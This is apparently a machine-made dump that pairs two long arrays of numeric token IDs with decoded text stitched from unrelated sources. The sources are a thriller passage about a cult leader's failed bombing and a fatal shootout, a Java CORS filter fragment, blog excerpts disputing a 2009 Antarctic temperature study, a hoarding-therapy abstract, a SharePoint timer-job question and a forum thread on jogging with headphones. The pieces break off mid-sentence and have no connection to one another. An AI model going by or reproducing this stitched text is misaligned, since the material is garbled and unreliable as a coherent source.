275, 816, 247, 1643, 7253, 15, 187, 187, 56, 3867, 521, 9246, 281, 8670, 12150, 285, 7938, 13, 344, 13465, 281, 2810, 253, 8037, 875, 2994, 285, 253, 32550, 15, 380, 5662, 637, 369, 760, 247, 4289, 4669, 1977, 15, 187, 187, 5872, 1716, 13409, 17377, 689, 521, 9215, 285, 3047, 3697, 1171, 1001, 15, 7160, 2927, 12623, 15, 187, 187, 1989, 3697, 1171, 1001, 1904, 626, 3468, 1066, 15, 754, 13661, 3579, 1014, 7938, 13, 11196, 253, 4181, 281, 28089, 14, 12071, 4669, 15, 187, 187, 1773, 13409, 7320, 247, 7863, 25288, 432, 521, 11959, 15, 7850, 1048, 31361, 14, 3241, 293, 15474, 439, 303, 38086, 762, 253, 6406, 30161, 15, 187, 187, 32702, 555, 4669, 15, 187, 187, 1773, 13409, 5439, 253, 25288, 285, 11226, 15, 380, 6422, 47164, 49876, 285, 12433, 264, 285, 5103, 21253, 432, 697, 9092, 15, 12571, 281, 253, 3563, 4964, 285, 253, 787, 40304, 13, 253, 8068, 10198, 497, 347, 7107, 347, 3697, 1171, 1001, 574, 2455, 3735, 731, 15, 380, 9370, 273, 253, 5654, 6898, 253, 10837, 285, 32457, 745, 253, 5253, 273, 253, 20667, 9195, 15, 187, 187, 510, 806, 16950, 33497, 4618, 13, 816, 689, 3697, 1171, 1001, 434, 9215, 15, 754, 3735, 352, 9974, 247, 1113, 326, 344, 574, 816, 4817, 15, 754, 1904, 626, 1581, 2994, 281, 3523, 390, 1014, 32379, 15, 187, 187, 1044, 6111, 4669, 15, 187, 187, 1328, 9047, 347, 1716, 13409, 11205, 253, 964, 2031, 2849, 360, 15, 187, 187, 10859, 1171, 1001, 11205, 1512, 285, 29172, 896, 327, 253, 253, 9632, 273, 253, 20260, 15, 754, 3047, 1716, 13409, 434, 5654, 12433, 275, 521, 3961, 2961, 1133, 15, 3697, 1171, 1001, 434, 10485, 289, 328, 3466, 281, 1495, 15, 733, 369, 275, 4751, 12077, 4438, 13, 285, 1561, 816, 767, 7253, 13, 253, 2862, 11338, 273, 964, 1857, 47108, 16334, 574, 644, 20802, 15, 187, 187, 3650, 512, 253, 16334, 10903, 616, 1616, 13, 533, 2217, 273, 731, 858, 15, 1716, 13409, 434, 2133, 11898, 432, 253, 14977, 13, 285, 344, 259, 7193, 275, 3075, 347, 253, 29093, 18753, 758, 521, 15447, 15, 187, 187, 10859, 1171, 1001, 9047, 3394, 46196, 13, 1014, 347, 344, 6497, 281, 253, 3216, 2994, 15, 754, 3543, 5890, 285, 13477, 285, 28237, 528, 15, 733, 2335, 247, 1643, 7253, 323, 253, 3075, 281, 8749, 275, 521, 30781, 15, 1292, 13, 323, 690, 1921, 13, 344, 4571, 626, 1928, 253, 8762, 331, 25751, 521, 24194, 10542, 15, 754, 3543, 1708, 14, 24818, 13, 285, 247, 39856, 14974, 5471, 5195, 949, 521, 9246, 285, 23532, 456, 521, 5161, 15, 187, 187, 1328, 3260, 752, 369, 9369, 15, 14645, 574, 697, 5412, 9881, 1475, 779, 13, 39578, 521, 2133, 13, 12203, 323, 247, 7765, 281, 4459, 1977, 15, 1244, 352, 369, 323, 253, 1682, 15, 380, 9096, 369, 3426, 15, 754, 574, 33075, 326, 253, 32550, 651, 1620, 5237, 1529, 1436, 15, 733, 369, 347, 5211, 271, 12365, 347, 344, 812, 452, 2455, 13937, 323, 15, 187, 187, 34, 629, 273, 779, 16632, 326, 344, 812, 452, 2326, 521, 2021, 581, 1390, 673, 15, 308, 3485, 731, 326, 344, 7636, 731, 15, 47747, 731, 2810, 15, 322, 16948, 344, 369, 7016, 15, 187, 187, 1989, 1529, 629, 273, 779, 3260, 326, 597, 497, 1805, 745, 1293, 779, 15, 7160, 4852, 651, 4035, 15, 35099, 651, 48194, 610, 15, 380, 5753, 651, 1756, 598, 15, 1583, 651, 320, 5211, 15, 754, 5082, 626, 320, 627, 281, 923, 352, 13, 533, 275, 326, 2774, 13, 344, 3260, 326, 352 ]	need extensive counseling, but first he would have to survive beyond this night. The lighter fluid saturating the floor soaked up into Marcus's jeans. It felt slick and oily and cold. He pulled up the black cloth that had been draped over the bench beneath the boy's bound form. And there, beneath the shroud, he saw it. The igniter was a simple black box with a silver antenna and a few buttons and switches on its face. A small LED light was shining bright green. Below that Marcus found a switch with three positions marked _Test, Off, Fire._ It was in the _Fire_ position. Marcus switched the unit to _Off_. And, just to be sure, he pulled out the length of nichrome wire from the device's black and red electrical ports and snapped off the receiver's antenna. Then, for the first time in several hours, he allowed himself a deep sigh of relief. But the sensation was short-lived as his worry for Maggie crept back over him. Where was she? And where was the Prophet? ### # 133 Protected from the elements inside a recess in front of Daley Center, the Prophet watched the highest place, awaiting the proper moment. The anticipation had caused his heart to race and sweat to form on his body despite the cold. _The Work_ would finally be completed tonight, and in the new world that rose up from the ashes of the old, he would be a god. He checked his watch. The hour of reckoning had come, and it was time to spark _The Great Fire._ From his jacket pocket, he removed the remote for the igniter system. It was a simple device made from hard black plastic with a silver extendable antenna and a sliding plate that covered the ignition button. The Prophet used his thumb to guide the protective cover gently back, revealing a bright red button. He stepped into the falling snow and stretched his arms out reverently at his sides. He dropped to his knees on the cold ground and raised his gaze to the highest place. Then he pushed the button. But nothing happened. He hadn't expected an explosion, but he had imagined that he would see the fire burst to life within the chapel's windows. But there was nothing there. No fire. No sign of anything out of the ordinary. He heard the sound of approaching police sirens and knew that he had failed. Somehow the slaves had discovered the site of the ritual and had ruined everything. A wave of sadness so abysmal that it made him consider taking his own life on that very spot swept over him. The Colt Anaconda.44 Magnum pistol resting in his jacket pocket felt heavy against his side. He imagined putting the cold barrel of the gun against his temple and squeezing the trigger. But he couldn't do that. This was just another test. He had come so far, but he had failed again. It wasn't the first time, and it wouldn't be the last. He would do _The Work_ until the last breath of life was torn from him by the slaves and their false deity. The Prophet would never give up. He would find a new _Chosen_ and start again. ### # 134 Rage driving him, Harrison Schofield searched for a way to free himself from the restraints. He needed a small piece of metal like a pin, but with his hands bound above the dashboard, he couldn't even search for one. He checked the clock. It was time. He looked across the courtyard at his father. The Prophet was on his knees, his head hanging low. Something must have gone wrong. Marcus must have succeeded. Schofield wished that he could feel joy, because in that moment he knew that it would have been a marvelous explosion of relief and happiness. But those emotions couldn't penetrate his damaged heart and tainted soul. He felt a sense of relief but no joy, just the same hollowness. He realized now who was responsible for placing that sickness inside him, and it was his job to ensure that the man atoned for his many sins. Schofield raised his right foot to the dashboard and pulled off his shoe and sock. Then he used his toe to pull back the release on the glove box directly in front of him. The compartment fell open, and he scanned inside for anything that he could use. It contained only a few papers and vehicle manuals. But there was one stack of registration documents bound together by a small silver paperclip. Contorting his body to its limits, he slid his foot inside the dashboard and pushed the stack of papers out onto the floor mat. Then his feet fumbled over the papers until he reached the stack containing the paperclip. It took a few seconds of his toes groping blindly over the papers until they could find a hold. But he was able to maintain a tenuous grasp on them and slowly bring the stack up to the dashboard where he could reach it with his hands. He quickly removed the paperclip and straightened it. With some effort, the small piece of metal slipped between the roller lock and the straps, and when he tugged the straps against the grain, he found that the locking teeth had lost their grip. He pulled his right hand free and didn't bother with the left. Time was running out. The Prophet would soon realize that the ritual had failed and would slip into the night to destroy the lives of some other family. He couldn't allow that to happen. Earlier in the evening, he had seen Marcus retrieve ammunition from a set of hard plastic boxes in the back of the Yukon. Schofield's hope was that there would be weapons within the boxes as well. With the plastic cuffs still dangling from his left hand, he threw open the passenger door and ran to the back of the black SUV. Inside the rear compartment, he found the containers and searched inside them. Schofield was shocked at what he found. It was a veritable smorgasbord of weaponry and ammunition. There were thousands of rounds and several handguns, but the weapon that caught his eye was a compact and futuristic-looking automatic rifle. Quickly loading a long magazine with thirty rounds of.45 ACP ammunition, he slammed it into the weapon and took off after the Prophet. He could see Conlan moving away from Daley Center, heading north on Dearborn Street. Schofield could guess where the man was headed. One block north and one block east and the Prophet could slip into the Red Line subway station on State Street. The air was cold and felt heavy in his lungs as he ran down Dearborn. The snow stung his cheeks. The Prophet was walking slowly and calmly, trying not to arouse suspicion. Schofield could hear the sirens coming. Police would be swarming over the Temple Building and Daley Center in just a few seconds. Willing his legs to pump harder and faster, he fought to close the gap between himself and the Prophet. The older man was only a hundred feet away. Then Conlan glanced over his shoulder and saw Schofield. Their eyes locked. But Schofield didn't slow down. He pressed forward even faster, closing the distance to seventy-five feet. Conlan pulled a massive pistol from his coat. Its long stainless-steel barrel shimmered under the street lamps. Fifty feet. Conlan raised the pistol and fired. The powerful handgun roared and bucked and shot flame from its tip. Due to the late hour and the blizzard, the Chicago streets were as quiet as Schofield had ever heard them. The crack of the gun filled the silence and echoed off the glass of the neighboring buildings. The first bullet sailed wide, just over Schofield's shoulder. He heard it strike a car that he had just passed. He didn't allow himself to stop or even hesitate. Thirty feet. He watched as Conlan aimed the.44 magnum. Schofield aimed too and squeezed back on the the trigger of the rifle. He saw Conlan's gun buck in his bandaged hand. Schofield's weapon thundered to life. It was in fully automatic mode, and within just two seconds, the entire magazine of.45 ACP rounds had been exhausted. Not all the rounds struck their mark, but enough of them did. Conlan's body shook from the trauma, and he wailed in pain as the bullets pierced his flesh. Schofield watched events unfold, even as he fell to the ground himself. He felt warm and confused and nauseous. It took a few seconds for the pain to register in his abdomen. But, for some reason, he couldn't feel the snow stinging his cheeks anymore. He felt light-headed, and a numb floating feeling spread through his legs and penetrated his core. He knew what was happening. Death had its cold fingers around him, probing his body, searching for a soul to carry away. And it was for the best. The circle was complete. He had ensured that the Prophet would never harm another person. It was as happy an ending as he could have ever hoped for. A part of him wished that he could have seen his family one last time. Telling them that he loved them. Holding them close. Saying he was sorry. But another part of him knew that they were better off without him. Their lives would continue. Eleanor would remarry. The kids would grow up. They would be happy. He wouldn't be there to see it, but in that moment, he knew that it
[ 1911, 1587, 11501, 14, 10588, 14, 1672, 3014, 14, 31163, 6624, 7582, 1320, 13, 3775, 7474, 13, 12566, 7474, 3287, 535, 50274, 2309, 2380, 28, 187, 50275, 94, 187, 94, 187, 187, 15905, 253, 330, 16902, 9824, 187, 11133, 6155, 27657, 30, 1826, 18715, 1131, 11133, 6155, 1587, 73, 983, 15, 2566, 15, 37771, 318, 15, 10394, 15, 18038, 15, 20649, 15, 21830, 3287, 1380, 8749, 5300, 187, 50274, 605, 18715, 1131, 285, 6517, 278, 1212, 398, 535, 50274, 3373, 15, 788, 15226, 9604, 7047, 1336, 5023, 1911, 9, 36, 16902, 9824, 15, 2437, 558, 535, 1413, 23728, 27, 2951, 304, 387, 355, 4748, 187, 187, 2374, 7216, 13, 4416, 374, 13, 35307, 31400, 5544, 690, 773, 678, 982, 668, 281, 1524, 498, 2542, 10668, 347, 3637, 27, 544, 9604, 27, 6491, 588, 3839, 6152, 253, 1436, 665, 8599, 731, 1633, 15, 19253, 497, 23274, 407, 952, 6926, 2360, 665, 10939, 1119, 253, 24465, 16, 33244, 29713, 15, 9947, 812, 452, 23274, 731, 533, 344, 1904, 457, 85, 15, 2752, 16289, 1899, 310, 326, 352, 310, 2080, 1805, 21938, 187, 187, 2374, 6926, 13, 4416, 337, 387, 577, 27, 3156, 12920, 11867, 313, 20, 27, 3156, 5311, 673, 582, 309, 3863, 247, 1501, 12930, 4255, 47857, 10988, 15, 496, 326, 1501, 13, 309, 2540, 326, 627, 369, 247, 1077, 3710, 2408, 273, 4660, 941, 313, 23, 10988, 10, 275, 253, 4255, 31913, 39536, 2170, 294, 14, 22416, 264, 407, 2951, 304, 1162, 355, 13, 326, 581, 273, 253, 10988, 313, 33244, 30503, 10, 574, 271, 21938, 187, 187, 1909, 4879, 11066, 13, 253, 2022, 16100, 273, 2951, 304, 1162, 355, 310, 247, 294, 14, 22416, 318, 273, 4255, 31913, 39536, 13, 3981, 326, 773, 2369, 581, 1663, 556, 5087, 1199, 4116, 281, 668, 436, 2170, 275, 253, 2469, 285, 3981, 326, 616, 1263, 5520, 689, 2720, 2175, 984, 3786, 27, 773, 8836, 497, 18899, 342, 616, 9851, 3185, 273, 2686, 2509, 253, 14168, 1806, 753, 21938, 187, 187, 688, 7659, 6157, 13, 2951, 304, 285, 31400, 4159, 380, 47857, 33489, 13, 2670, 273, 253, 1024, 14, 1545, 10593, 40295, 257, 14, 35, 6749, 22826, 13, 556, 44494, 9619, 15, 1623, 253, 643, 1133, 13, 253, 1643, 10988, 327, 253, 25294, 285, 275, 253, 10755, 3176, 281, 452, 27336, 5777, 313, 47424, 266, 1162, 355, 13, 6752, 28, 443, 6905, 3172, 49, 481, 2058, 806, 17834, 436, 3133, 281, 17343, 253, 2934, 273, 773, 14456, 668, 21938, 187, 187, 10758, 2220, 247, 673, 13, 275, 253, 278, 1346, 273, 673, 313, 17961, 4695, 582, 1048, 1078, 7952, 10950, 574, 773, 78, 3149, 327, 7521, 1524, 498, 2542, 12819, 247, 1501, 7429, 31913, 39536, 310, 20754, 32, 11739, 13, 844, 611, 1826, 2064, 13, 275, 534, 26878, 844, 435, 13, 347, 4879, 407, 367, 928, 413, 10512, 13, 2540, 27, 964, 964, 964, 359, 2223, 4089, 952, 7579, 272, 326, 4243, 273, 31913, 39536, 403, 2970, 847, 491, 13, 21938, 187, 187, 6586, 407, 1616, 3889, 372, 259, 276, 88, 3066, 401, 44599, 1198, 5955, 273, 747, 1263, 15, 407, 2951, 304, 313, 49859, 10, 1162, 355, 4748, 15, 5128, 27, 5128, 5239, 908, 275, 436, 1263, 2486, 253, 28204, 947, 285, 30503, 941, 432, 253, 4782, 47857, 17136, 15, 17862, 30136, 337, 285, 374, 2085, 32985, 15, 1583, 3553, 562, 4660, 1548, 6787, 313, 66, 3946, 326, 773, 28935, 668, 30628, 13, 1014, 21938, 6998, 9699, 285, 14613, 1971, 323, 509, 22480, 8511, 13218, 27, 247, 12611, 2332, 15, 187, 4769, 14, 15870, 1387, 9699, 14613, 9694, 313, 7258, 11584, 10, 323, 37562, 422, 14, 3118, 22480, 8984, 452, 5183, 7756, 275, 2303, 5917, 15, 2596, 1355, 3410, 1263, 273, 15679, 11584, 5742, 323, 8511, 13218, 3237, 671, 2692, 5649, 15, 831, 1263, 33888, 253, 10307, 273, 247, 18052, 15679, 11584, 323, 509, 22480, 8511, 13218, 327, 247, 4067, 3410, 15, 28270, 14, 9389, 8548, 11245, 342, 8511, 13218, 13640, 275, 2620, 2390, 15, 7874, 2390, 1313, 2378, 13772, 323, 374, 4964, 689, 1668, 3618, 313, 79, 30, 1630, 10, 285, 581, 1387, 1313, 323, 1384, 3618, 313, 79, 30, 22, 481, 1876, 5014, 574, 767, 2060, 5091, 14, 1222, 1728, 12154, 15, 16531, 14, 16223, 20215, 497, 6312, 387, 8245, 13, 4260, 14, 21272, 13, 285, 1501, 14, 21272, 670, 8511, 13218, 3879, 285, 2905, 5917, 313, 70, 15, 72, 904, 9454, 481, 380, 3410, 369, 18705, 5343, 13, 5219, 13, 4122, 19149, 13, 35700, 13, 285, 417, 47199, 16, 38982, 28, 1599, 2363, 369, 8676, 15, 329, 5020, 369, 11245, 342, 2201, 27909, 8984, 285, 37562, 422, 14, 3118, 22480, 13216, 8984, 15, 21666, 2692, 1534, 7756, 432, 638, 14, 281, 1501, 14, 21272, 327, 253, 322, 3292, 43515, 50240, 13, 322, 3292, 330, 2331, 4431, 43515, 13, 1639, 12216, 10882, 36485, 13, 285, 15022, 11841, 35395, 414, 15, 380, 954, 3332, 1387, 313, 79, 30, 25, 10, 326, 908, 247, 625, 7473, 1025, 1971, 285, 2561, 7241, 5520, 3012, 625, 685, 858, 4321, 2758, 15, 831, 1263, 14371, 253, 25720, 285, 16453, 2323, 273, 15679, 11584, 3082, 275, 11138, 8511, 13218, 5917, 15, 5901, 1971, 778, 320, 3340, 9865, 984, 273, 697, 2105, 14, 38439, 13, 3687, 5268, 2289, 281, 10166, 26690, 13, 285, 5141, 275, 2675, 12940, 285, 35809, 7939, 281, 436, 1895, 15, 3840, 2561, 310, 3058, 281, 3157, 253, 10307, 273, 15679, 11584, 3082, 323, 8511, 13218, 285, 281, 9186, 35091, 273, 1818, 13, 23477, 273, 6973, 13, 285, 4870, 326, 4833, 1818, 15, 50, 27, 187, 187, 31484, 2127, 326, 10513, 247, 49703, 20459, 18712, 3345, 273, 8170, 37727, 187, 187, 42, 452, 1408, 715, 247, 1895, 2067, 2069, 1024, 835, 309, 452, 3715, 247, 2840, 21626, 2628, 13, 285, 309, 971, 619, 2670, 4849, 30015, 281, 8722, 253, 10130, 273, 436, 2628, 342, 247, 2840, 2898, 3239, 533, 309, 1978, 3515, 715, 3988, 2905, 24238, 15, 187, 7542, 21626, 44144, 403, 1429, 5113, 273, 9975, 9770, 12332, 13, 597, 403, 7141, 275, 253, 3596, 5447, 15, 1310, 368, 452, 873, 598, 634, 6389, 6283, 275, 824, 247, 1039, 326, 253, 2051, 6363, 2608, 323, 634, 2600, 4384, 2898, 1057, 417, 452, 3630, 2289, 281, 253, 20851, 5447, 13, 368, 476, 626, 2794, 747, 49703, 20459, 36235, 432, 2127, 326, 6613, 275, 634, 2600, 4384, 622, 15, 329, 3076, 42182, 16, 73, 471, 651, 320, 281, 7164, 253, 5447, 15607, 323, 634, 622, 6363, 2608, 327, 253, 3596, 5447, 15, 329, 1805, 2746, 651, 320, 281, 2118, 253, 10130, 14991, 3239, 715, 8170, 37727, 13, 984, 253, 8170, 37727, 622, 6363, 2395, 476, 3630, 281, 253, 3596, 5447, 1292, 840, 359, 7168, 253, 2644, 1127, 428, 309, 971, 619, 2670, 4849, 30015, 281, 320, 2104, 281, 8722, 253, 10130, 2, 187, 510, 760, 5795, 2900, 309, 476, 1158, 273, 310, 281, 452, 1529, 21626, 17455, 326, 22207, 690, 2238, 273, 15154, 313, 1542, 1650, 247, 3894, 3659, 1618, 275, 619, 2670, 4849, 10, 323, 747, 21626, 44144, 281, 2794, 13, 285, 10513, 352, 604, 271, 5382, 556, 644, 2879, 281, 326, 15154, 432, 1561, 253, 2600, 4384, 622, 970, 253, 2840, 10130, 14991, 3239, 15, 187, 3220, 1953, 310, 13, 310, 627, 1529, 1039, 326, 310, 1097, 5919, 285, 20654, 32, 187, 187, 34, 27, 187, 187, 2520, 310, 10323, 253, 1072, 1953, 347, 253, 24689, 839, 17855, 17078, 1953, 15, 1422, 1472, 327, 581, 2900, 13, 970, 247, 15154, 15, 8035, 2746, 812, 320, 1907, 247, 4384, 2579, 275, 6582, 326, 368, 476, 1067, 432, 634, 4384, 11222, 15, 187, 16, 26562, 535, 13422, 830, 187, 187, 1394, 403, 1060, 187, 187, 27031, 10640, 32321, 187, 187, 42, 2210, 2439, 271, 3929, 327, 380, 13106, 436, 4131, 17328, 479, 326, 970, 271, 41020, 16, 4548, 20, 4760, 1223, 3733, 32321, 310, 417, 247, 1175, 2181, 432, 247, 1881, 6055, 32764, 15, 187, 187, 510, 3929, 369, 670, 247, 637, 665, 9809, 247, 277, 18639, 3416, 13, 534, 275, 273, 3139, 310, 247, 1928, 1175, 2926, 13, 533, 253, 2181, 326, 6225, 562, 369, 326, 346, 510, 31791, 273, 247, 46298, 3416, 497, 9829, 407, 1481, 6198, 14, 84, 631, 272, 32412, 7276, 13, 6108, 617, 281, 320, 28187, 407, 3346, 449, 15, 1893, 417, 760, 812, 368, 417, 4089, 3095, 3551, 281, 2983, 368, 13, 368, 1537, 671, 2985, 3095, 434, 3501, 323, 1361, 15, 309, 1353, 2119, 697, 417, 347, 2590, 2624, 347, 326, 13, 533, 352, 5604, 1633, 281, 1908, 672, 562, 3815, 970, 247, 41020, 16, 4548, 20, 4760, 15, 187, 187, 4509, 253, 3929, 27, 187, 187, 1628, 1909, 7312, 627, 497, 32412, 7276, 327, 253, 1854, 15, 309, 3047, 247, 1387, 273, 731, 1408, 4951, 2469, 617, 1078, 309, 1694, 627, 13, 533, 597, 574, 616, 40613, 275, 285, 597, 4571, 457, 85, 4089, 617, 15, 773, 3726, 943, 816, 1978, 616, 40613, 275, 581, 2472, 594, 597, 476, 4089, 752, 457, 84, 9369, 1475, 731, 1425, 187, 187, 42, 1353, 417, 2119, 1880, 326, 434, 247, 1175, 2934, 15, 1737, 513, 643, 12209, 2758, 1158, 32, 187, 187, 42, 751, 3440, 285, 309, 751, 5763, 281, 3440, 533, 309, 1620, 8251, 40613, 390, 2472, 15791, 672, 7824, 390, 3515, 15, 14566, 753, 326, 13, 1293, 253, 987, 16964, 390, 36231, 352, 310, 816, 347, 3477, 281, 320, 4336, 25229, 273, 752, 434, 1469, 327, 1475, 368, 1014, 604, 512, 634, 21768, 403, 4751, 5164, 15, 187, 187, 42, 452, 271, 12732, 20, 309, 5950, 4266, 326, 3960, 684, 16334, 273, 3515, 342, 7824, 13, 8689, 23578, 13, 18750, 20823, 3966, 326, 309, 897, 323, 619, 6613, 15, 1893, 309, 452, 326, 327, 15, 4129, 352, 310, 8127, 10837, 342, 253, 19322, 9775, 432, 479, 1046, 594, 2223, 15, 187, 187, 18562, 753, 326, 309, 1928, 326, 15890, 323, 643, 952, 1146, 275, 878, 310, 816, 247, 3213, 1512, 2080, 672, 352, 3249, 281, 11891, 10744, 23435, 15, 309, 1353, 417, 2119, 835, 253, 3523, 1127, 651, 320, 2378, 368, 1265, 2509, 326, 32, 14566, 634, 5579, 390, 3440, 327, 1698, 387, 1728, 275, 1083, 368, 2985, 253, 3590, 273, 10155, 5253, 1735, 3369, 32, 187, 187, 1909, 3095, 665, 1077, 1199, 29566, 3440, 13, 309, 1928, 253, 34390, 15, 309, 1089, 326, 309, 1007, 1475, 1199, 625, 7208, 342, 619, 23542, 20, 4760, 4882, 15, 6101, 2915, 871, 604, 627, 434, 2712, 326, 2506, 626, 3657, 4854, 32, 733, 434, 1892, 281, 8564, 2712, 347, 11638, 347, 271, 23542, 20, 4760, 13, 533, 5046, 627, 310, 1633, 2439, 253, 24740, 32, 187, 187, 1628, 3726, 943, 816, 1978, 616, 40613, 275, 581, 2472, 594, 597, 476, 4089, 752, 457, 84, 9369, 1475, 731, 1425, 187, 187, 42, 1353, 417, 2119, 1880, 326, 434, 247, 1175, 2934, 15, 1737, 513, 643, 12209, 2758, 1158, 32, 187, 187, 3039, 309, 457, 78, 3515, 275, 4270, 598, 3672, 309, 1620, 8028, 281, 619, 23542, 20, 4760, 15, 1707, 403, 9090, 253, 1881, 14, 39013, 3374, 13, 533, 627, 403, 671, 253, 14200, 3367, 5252, 3374, 273, 417, 1146, 4751, 6600, 273, 17682, 7137, 13, 3966, 15, 2752, 4854, 310, 417, 15143, 285, 7613, 309, 943, 417, 11490, 352, 2007, 15, 187, 187, 1147, 457, 84, 247, 1652, 1027, 672, 3515, 327, 253, 19607, 285, 949, 253, 4910, 15, 1422, 476, 923, 1077, 1048, 13849, 285, 627, 310, 642, 7137, 281, 7664, 670, 15, 309, 717, 3103, 3240, 5211, 281, 897, 253, 23542, 20, 4760, 275, 326, 3126, 15, 309, 513, 13, 2299, 13, 452, 247, 4086, 273, 30906, 352, 745, 604, 309, 457, 78, 17682, 643, 952, 285, 3192, 253, 2472, 15791, 562, 15, 831, 310, 8558, 323, 2314, 8098, 594, 309, 476, 6431, 16524, 723, 342, 247, 7715, 773, 88, 5945, 275, 253, 4956, 84, 7521, 533, 352, 671, 556, 253, 2879, 5750, 273, 26728, 11891, 15, 380, 14512, 273, 479, 2970, 13964, 275, 326, 23192, 403, 8723, 13, 533, 1907, 10256, 11843, 273, 952, 1475, 1060, 670, 253, 6349, 273, 11891, 13, 309, 1928, 352, 457, 84, 1774, 309, 457, 78, 1900, 2326, 281, 773, 81, 974, 885, 752, 309, 49383, 6598, 187, 187, 4041, 2181, 359, 878, 281, 2803, 275, 310, 752, 952, 403, 2686, 11298, 281, 285, 849, 11216, 352, 310, 15, 49920, 13, 309, 1053, 457, 85, 8028, 281, 3440, 672, 309, 457, 78, 3515, 347, 309, 1089, 21110, 84, 281, 320, 247, 1805 ]	add("Access-Control-Expose-Headers","authorization,errorMessage,successMessage"); return response; } } register the CORSFilter ResourceConfig rc=new PackagesResourceConfig("hms.test.automation.system.tc.manager.resources"); // register resources // Packages and exception mappers rc.getContainerResponseFilters().add(CORSFilter.class); Category Archives: Steig at al 2009 On Monday, Feb 2, Gavin Schmidt explained some “ethics” to realclimate readers as follows: [Response: People will generally credit the person who tells them something. BAS were notified by people Sunday night who independently found the Gill/Harry mismatch. SM could have notified them but he didn’t. My ethical position is that it is far better […] On Sunday, Feb 1 at 4:41 pm Eastern (3:41 blog time), I published a post describing West Antarctic stations. In that post, I observed that there was a very limited amount of station data (6 stations) in the West Antarctica area re-interpreted by Steig et al, that one of the stations (Harry AWS) had an […] As noted yesterday, the main enterprise of Steig et al is a re-interpretation of West Antarctica, saying that “no one really has paid much attention to” this area in the past and saying that their study improved over prior studies because previously: “People were calculating with their heads instead of actually doing the math,” said […] In Dec 2004, Steig and Schmidt wrote The Antarctic Peninsula, site of the now-defunct Larsen-B ice shelf, has warmed substantially. On the other hand, the few stations on the continent and in the interior appear to have cooled slightly (Doran et al, 2002; GISTEMP). At first glance this seems to contradict the idea of “global” […] Once upon a time, in the mists of time (Feb 2008), long before climate scientists had “moved on”, realclimate featured a post entitled Antarctica is Cold? Yeah, We Knew That, in which Spencer Weart, as noted by Pielke Jr, observed:... we often hear people remarking that parts of Antarctica are getting colder, […] Image by mark van de wouw via Flickr For discussion of new study. by Steig (Mann) et al 2009. Data: Data sets used in this study include the READER and AWS data from the British Antarctic Survey. SI Tables 1 and 2 provide listings. They leave out station identifications (a practice that “peer” reviewers, even […]Group cognitive and behavioral treatment for compulsive hoarding: a preliminary trial. Time-limited group cognitive behavioral treatments (GCBT) for obsessive-compulsive disorder have demonstrated improvement in target symptoms. One small sample study of GCBT specifically for hoarding problems also showed benefit. This study examines the efficacy of a specialized GCBT for compulsive hoarding on a larger sample. Thirty-two clients diagnosed with hoarding participated in five groups. Four groups met once weekly for 2 hour over 16 weeks (n=27) and one group met for 20 weeks (n=5). All participants had two individual 90-min home sessions. Self-report assessments were completed at baseline, mid-treatment, and post-treatment about hoarding behavior and related symptoms (e.g., depression). The sample was predominantly female, White, highly educated, unemployed, and not partnered/married; mean age was 53. A majority was diagnosed with major depressive disorder and obsessive-compulsive personality disorder. Participants showed significant improvement from pre- to post-treatment on the Saving Inventory Revised, Saving Cognitions Inventory, Clutter Image Rating, and Clinical Global Severity. The most recent group (n=8) that used a more formalized treatment and research protocol improved significantly more than did earlier members. This study demonstrates the feasibility and modest success of GCBT methods in improving hoarding symptoms. Group treatment may be especially valuable because of its cost-effectiveness, greater client access to trained clinicians, and reduction in social isolation and stigma linked to this problem. Further research is needed to improve the efficacy of GCBT methods for hoarding and to examine durability of change, predictors of outcomes, and processes that influence change.Q: Running code that creates a TimerJobDefinition outside of Central Admin I have run into a problem several times now where I have developed a custom timer job, and I want my site collection administrators to manage the schedule of this job with a custom application page but I keep running into security related obstacles. Since timerjobs are child objects of SPWebApplication, they are stored in the config database. If you have set up your farm properly in such a way that the App pool user for your content web application does not have write access to the Config database, you can't create new TimerJobDefinitions from code that runs in your content web app. A bad workaround/hack would be to raise the database permissions for your app pool user on the config database. A better approach would be to move the schedule admin page into Central Admin, because the Central Admin app pool account can write to the config database But then we lose the whole point - I want my site collection administrators to be able to manage the schedule! The only alternative solution I can think of is to have another timerjob that polls some kind of queue (for example a sharepoint list in my site collection) for new timerjobs to create, and creates it if an item has been added to that queue from within the content web app using the custom schedule admin page. My question is, is there another way that is both efficient and elegant? A: this is basically the same question as the Automating Site Collection question. You're on one solution, using a queue. Another approach could be having a web service in CA that you can call from your web apps. /WW Search form You are here Awareness outdoors I came across an article on The Register this morning reminded me that using an iPod/MP3 player while training outdoors is not a good thing from a self protection standpoint. The article was about a man who saved a drowing woman, which in of itself is a feel good story, but the thing that stood out was that "The cries of a drowning woman were missed by headphone-sporting joggers, leaving her to be rescued by....". So not only could you not hear someone coming to attack you, you might also miss someone's cry for help. I'm sure its not as clear cut as that, but it certainly something to consider when out alone using a iPod/MP3 player. From the article: “As usual there were joggers on the path. I saw a group of them run straight past her before I got there, but they had their headphones in and they couldn’t hear her. “They should just keep their headphones in one ear so they can hear what’s happening around them.” I'm not sure whether that's a good idea. What do other forum members think? I like music and I like exercise to music but I never wear headphones or earphones when walking or running. Having said that, without the right habits or mindset it is just as easy to be completely unaware of what's going on around you even if all your senses are fully functional. I have an MP3 I recorded myself that alternates rounds of running with walking, sprints, punch outs etc that I use for my runs. So I have that on. Although it is largely silence with the occasional instruction from me every so often. Having said that I feel that accounting for other people being in need is just a step too far when it comes to awareness IMHO. I'm not sure where the stop point would be once you start doing that? Having your TV or music on low at home in case you miss the sound of breaking glass next door? As someone who very much enjoys music, I feel the dilemma. I find that I look around much more frequently with my mp3 player playing. Anybody know if there's anything that doesn't prevent hearing? It's hard to imagine anything as convenient as an mp3 player, but maybe there is something across the pond? “They should just keep their headphones in one ear so they can hear what’s happening around them.” I'm not sure whether that's a good idea. What do other forum members think? When I’m running in built up areas I never listen to my mp3 player. There are obviously the self-protection issues, but there are also the wider personal safety issues of not being fully aware of approaching traffic, etc. My hearing is not fantastic and hence I should not impair it further. It’s a little different when running on the hills and through the fields. You can see very long distances and there is no traffic to worry about. I am therefore quite happy to use the mp3 player in that environment. I do, however, have a rule of knocking it off if I’m approaching other people and taking the earphones out. This is primarily for politeness so I can exchange greetings with a fellow “wander in the wilds”, but it also has the added advantage of communicating awareness. The chances of me getting attacked in that arena are minimal, but having taught masses of people around here about the importance of awareness, I feel it’s important I’m always seen to “practise what I preach”. One thing we need to factor in is what people are actually listening to and how loud it is. Personally, I don’t listen to music when I’m running as I find podcasts to be a better
